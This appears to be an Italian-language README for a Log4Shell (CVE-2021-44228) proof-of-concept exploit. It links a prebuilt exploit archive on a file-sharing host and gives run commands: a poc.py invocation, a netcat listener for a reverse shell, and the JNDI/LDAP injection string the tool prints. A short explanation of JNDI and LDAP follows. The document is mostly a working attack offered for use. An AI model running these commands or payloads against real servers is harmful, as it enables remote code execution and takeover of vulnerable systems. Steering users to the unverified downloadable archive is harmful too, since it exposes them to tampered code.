willian-2-0-0-1/log4j-exploit-cve-2021-44228
Log4Shell Vulnerability Test Tool https://log4shell.tools/
Exploit con Java già incluso, per evitare di creare un account ecc..
http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc_%25281%2529.zip/file
pip install -r requirements.txt
$ python3 poc.py --userip localhost --webport 8000 --lport 9001
nc -lvnp 9001
$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
Concetto base di log4j
Cos'è JNDI
È un'interfaccia, è un'API Java per un servizio di directory che consente ai client software Java di scoprire e cercare dati e risorse tramite un nome.
Cos'è LDAP
È un protocollo di accesso alla directory. LDAP può essere usato per validare nomi utente e password con server Docker, Jenkins, Kubernetes, Open VPN e Linux Samba. L'accesso singolo LDAP può essere usato anche dagli amministratori di sistema per controllare l'accesso a un database LDAP.
PER CHI VUOLE SAPERNE DI PIÙ SULLA VULNERABILITÀ, DI SEGUITO LA DOCUMENTAZIONE:
https://www.lunasec.io/docs/blog/log4j-zero-day/
EXPLOIT SENZA IL JAVA INCLUSO